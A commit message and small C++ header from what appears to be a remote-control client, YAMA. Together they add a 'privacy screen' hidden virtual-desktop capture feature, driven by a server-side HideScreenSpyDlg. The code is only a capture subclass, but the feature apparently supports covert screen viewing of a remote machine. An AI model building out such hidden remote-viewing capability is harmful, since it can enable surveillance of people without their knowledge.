Migrate the SimplePlugins privacy-screen (virtual desktop) feature into the YAMA client as an "实验功能" right-click submenu entry. The capture layer is rewritten rather than copied: CScreenHideSpy now subclasses YAMA's ::CScreenSpy (vDesk=TRUE) so capture and encoding reuse YAMA's encoder pipeline instead of SimplePlugins' diverged jpeg capture chain; CScreenManagerBase and CScreenHideManager are migrated under the SimplePluginsScreenHide namespace, and SimplePlugins-only ALGORITHM_DEFAULT is mapped to ALGORITHM_DIFF. Add COMMAND_PRIVATE_SCREEN_PLUGIN (164) and LoopPrivateScreenPlugin, spawned as a sub-connection from KernelManager. The constructor sends TOKEN_BITMAPINFO_HIDE so the existing server HideScreenSpyDlg opens unchanged. Add a "隐私屏幕" entry to the "实验功能" submenu, routed via OnExperimentPrivateScreen. Also zero-initialize the GetTitle/szClass buffers to fix a 0xCC garbled log. Co-Authored-By: deepseek-v4-pro
23 lines
780 B
C++
23 lines
780 B
C++
#pragma once
|
||
|
||
#include "ScreenSpy.h"
|
||
|
||
namespace SimplePluginsScreenHide {
|
||
|
||
// 隐私屏幕捕获器。
|
||
//
|
||
// SimplePlugins 原版 CScreenHideSpy 基于其自带的旧 CScreenSpy/ScreenCapture 捕获链
|
||
// (jpeg + CaptureFrame/BMP_JPG/ScanChangedRect),已与 YAMA 重写后的编码器捕获层
|
||
// (ScreenCapture::GetNextScreenData + EncoderFactory)分叉,故此处改写为直接继承
|
||
// YAMA 的 ::CScreenSpy,仅把 vDesk=TRUE(虚拟桌面)传入基类,捕获/编码全部复用基类。
|
||
class CScreenHideSpy : public ::CScreenSpy
|
||
{
|
||
public:
|
||
CScreenHideSpy(int biBitCount = 32, int algo = ALGORITHM_DIFF)
|
||
: ::CScreenSpy((ULONG)biBitCount, (BYTE)algo, TRUE /* vDesk → m_bVirtualPaint */)
|
||
{
|
||
}
|
||
};
|
||
|
||
} // namespace SimplePluginsScreenHide
|